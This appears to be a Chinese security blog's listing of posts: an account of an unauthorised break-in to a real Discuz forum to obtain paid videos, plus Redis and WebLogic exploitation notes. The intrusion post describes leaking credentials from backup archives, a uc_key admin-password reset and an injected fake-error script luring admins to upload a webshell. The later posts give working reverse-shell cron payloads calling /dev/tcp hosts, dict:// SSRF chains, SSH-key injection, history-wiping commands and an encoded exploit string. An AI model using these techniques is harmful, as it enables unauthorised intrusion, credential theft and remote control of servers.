admin 发布的文章

暑假第一个站

懒得截图,简单文字记录,最后没拿到shell,算一次失败的渗透。
暑假准备找套四级视频来看看,在一个论坛看到一套还不错的视频,但是注册还nm要买邀请码,然后就打算搞一搞。

信息收集

  • 架构: Linux + nginx + php5.3 + discuz x 3.2

  • 端口: 3306, 22, 80

  • CDN: cloudflare

既然有CDN,第一步自然就是找到真实IP,这样后面会方便许多。这里还是比较好找的,下面几处都泄露了真实IP:

  • 右键查看源码,网站静态文件泄露

  • 注册时,查看邮箱头

  • 查DNS历史解析记录

  • http://crimeflare.com

  • 利用DZ的SSRF
    成功找到了真实IP,继续收集信息。

fuzz一下目录,扫到了几个压缩包:

  • 1.rar

  • 666.zip

  • 888.rar
    ......

看来管理员挺喜欢用压缩包备份文件,于是用dirbbuster再fuzz一遍rar和zip,得到了大概10个左右压缩包,并且有phpmyadmin。
从中提取出一些有用的信息:

  • 几台ftp服务器和密码

  • 数据库连接账号和密码

  • uc_key

  • 一台3389及账号密码

似乎服务器已近在咫尺....

初步尝试

首先,我拿得到的ftp和3389登陆,发现没一个登陆得上,crying。可能是时间太长,密码已经更换。而且,他的密码不带重样的,也看不出来明显的规则。还好,phpmyadmin登陆进去了,但是不是root,也没有任何文件操作权限。dz的数据库,讲真作用不是很大,密码解不了。
我从数据库里提取的唯一有用的信息就是,网站有两个管理员:
创始人---admin
副站长---admin888
但是拿不到密码,我试了按网上的重置也不行,不清楚dz的加密算法到底是怎样的。
数据库这里就到此为止了。

寻求突破

第一步失败后,按优先级整理下思路:

  • 利用uc_key重置管理员密码,进后台尝试getshell

  • 利用SSRF探测内网端口

  • 整理字典,爆破22

  • 社工

从网上的资料来看,这个uc_key很有用。一说是可以直接getshell,二说是能重置任意密码。首先尝试了getshell,失败告终。重置密码动静较大,于是我挑了个天干物燥的夜晚,按照这个姿势重置了admin888的密码,先搞到了我要的那套视频hhhh
进去之后,首先查看了更新时间 Discuz! X3.2 Release 20150609
dz后台getshell主要有以下几种常见方式:

  • 缓存包含

  • 图片包含

  • 第三方插件

  • ImageMagick

  • 大牛的0day

我本地搭了个同样版本的dz,尝试了前三种方法,全部失败。利用imagemagic需要知道物理路径,划掉。
进了后台,搞了很久也没有拿到shell,又陷入了江局。这时想起来还有个SSRF,赶紧在后台看了下redis和memcache,尴尬的是,都关了。

社工

dz后台有一个插js的地方,于是我想利用它来劫持网页,利用社工传shell。大致的思路是:
劫持网页,显示网站出错需要修复,修复的方法就是传一个指定文件到目录。最后的效果是这样的:

1.png

这个错误页面是有来源的,有些时候安装插件就会遇到这个错误页面,只不过我把修复文件里插入了我的马。
劫持代码:

<script>
function myFunction()
{
var str = '......';
document.write(str);
}
setTimeout(function(){ myFunction(); }, 1000);
</script>

然后就浏览器开自动刷新一直等啊等,直到phpmyadmin被删,数据库密码被改......是的,穿帮了。当我再次尝试重置密码,似乎也补了。

总结

虽然这次渗透以失败告终,但也算拿到我要的东西了,没有白搞一场。反思一下,没拿下的原因,一是很少搞dz,没有收集过EXP,二是没什么耐心,跳过了爆破,而直接尝试社工这种冒险快捷的方式。其实我是收集了蛮多密码的,并且还有几台其他相关服务器的IP,有耐心的话,完全可以尝试挨个爆破,说不定能在其他机器上找到有用的信息。后续如果再搞的话,一是我上面说的爆破,二就是社他的空间商,直接拿到文件管理系统或者ftp之类的。

更新

经朋友提示,dz的密码可以解的,我昨天找错库了,没看到salt,正确的库应该是pre_ucenter_members

Linux提权基础-翻译&补充

不记录history:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

枚举是关键

Linux提权时关于:

  • 收集 - 枚举,枚举,再枚举

  • 进程 - 整理数据,分析并优化

  • 适应 - 定制适应的exp,不是每个exp都适用于任何系统

- 阅读剩余部分 -

暑假计划&flag

技术

  • 深入的搞3个站

  • 学习一下无线攻防

  • 翻译3篇文章

  • 刷完python cookbook

  • 刷完test lab v.11

  • 刷完php4fun

  • 刷完vulnhub并学会自己用docker构建环境

  • 研究过狗注入,上传,提权

  • 配置顺手的渗透环境并备份,学习Linux的自动维护

其他

  • 看一本书并学习写读书笔记

  • 看三部电影并学习写观影笔记

  • 背单词,学习一套四级课程

Redis 利用总结

介绍

redis是一个key-value型数据库,信息以键对应值的关系存储在内存中, 是一个非关系型(nosql)数据库

默认端口:6379

redis可以把数据保存在内存中,也可以保存到硬盘上。

持久化运作方案:
1.RDB--类似数据库备份文件
2.AOF--log日志文件

姿势

  • 未授权访问

发现

nmap -p6379 192.168.0.0/24 --script redis-info
nmap -p6379 192.168.0.0/16 --script redis-info

写webshell

前提:知道web路径
telnet直接连上去,
1.jpg

2.jpg

3.jpg

写计划任务反弹shll

set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/172.16.44.154/21 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

dict协议:

dict://0xAC120002:6379/flushall
dict://0xAC120002:6379/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/111.111.111.111/1234\x200>\x261\x0a\x0a\x0a"
dict://0xAC120002:6379/config:set:dir:/var/spool/cron
dict://0xAC120002:6379/config:set:dbfilename:root
dict://0xAC120002:6379/save

ps.

crontab -l 查看当前用户任务
crontab -e 编辑当前用户任务
crontab -r 删除当前用户任务

写公钥连SSH

生成密钥对,

ssh-keygen -t rsa

4.jpg

把公钥放到目标的的/root/.ssh目录下,
(如果没有.ssh目录,就ssh-keygen -f rsa 生成一下就有了)

config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbQByRQly8or9mp2wwRaD0vqp03YX6RNEAoi2EDAx2xyuMIS5wEjTsJ2dpXBCTdAJ94Cw7tRw7esuh4DDF+KMH0crD8OmAY6YVZSIxsW6MRAHtH1moc/6+qgy5o+Q9Q32LLtPz+nUn1pqJl1GpP+RumU8Z7gPLf3EFWBuTYcialfcNwPmUWDewNggdQjsBR++nkhKql/7WGEuPkocu4cO6wVtVk/Q7DkGTVJ1Su2H040sOh/VpQIDeCiGRlUBXADcDOJikSbRj9WgDasEBrcaLksGbud3QRTHP5kM/fukU1OJW2v3YNCWkBMjrdOXFP4gnGnn0Kd2A8Ul7GARH8NWV root@kali\n\n\n"
save

登陆,

ssh -i id_rsa root@172.22.0.2

5.jpg

  1. 看到过有人提到往/etc/profile.d/写启动脚本来反弹shell,测试这种方法是行不通的,因为Redis会在脚本收尾加上一些标志信息,shell脚本无法执行。

防御

  1. 配置bind选项,限定连接redis的ip(127.0.0.1)

  2. 配置requirepass选项,设置密码

  3. 不要用root启动redis

weblogic 弱口令getshell&ssrf 复现

简介

weblogic是一个java中间件。主要用于大型企业。
默认端口: 7001

姿势

  • 弱口令

  • SSRF

  • java反序列化

  • getshell

实战模拟

弱口令getshell

  • 端口扫描
    发现7001端口开放。

1.png

  • 目录扫描

2.png

发现console目录,为weblogic登陆口。
/hello/file.jsp 测试发现存在任意文件读取漏洞:
http://127.0.0.1:7001/hello/file.jsp?path=/etc/passwd

weblogic登陆失败超过一定次数后账户就会被锁定,所以不能爆破
这里可以通过任意文件读取去读weblogic的密文和密钥,来解密获得密码。

./security/SerializedSystemIni.dat
./config/config.xml

SerializedSystemIni.dat是一个二进制文件,直接读取会有干扰字符,需要用burp读取,再copy to file
3.png

在config.xml找到”<node-manager-password-encrypted>“的值就是密文。

4.png

然后用weblogic_decrypt.jar解密,得到口令 weblogic:Oracle@123
登陆进去后部署->安装->上传war 即可getshell。

5.png

SSRF攻击Redis

SSRF:

http://127.0.0.1/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

首先利用SSRR探测到172.22.0.2这台主机开了6379端口(只能用http协议)
redis反弹shell的payload:

aaa

set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/172.16.44.154/21 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

test

注意到这个payload收尾都有空行,因为redis命令按换行分隔,所以没有这两行,会写不进去。
还有,最重要的一点,也是坑了我半天时间的一点,就是URL编码的时候要全编码,连字母也要编码,不然也写不进去,推荐burpsuite。我开始用ff的插件,一直写不进去。
编码后的payload:

%61%61%61%0d%0a%0d%0a%73%65%74%20%30%20%22%5c%6e%5c%6e%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%32%2e%31%36%2e%34%34%2e%31%35%34%2f%32%31%20%30%3e%26%31%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%6f%6f%74%0d%0a%73%61%76%65%0d%0a%0d%0a%74%65%73%74

6.jpg

7.jpg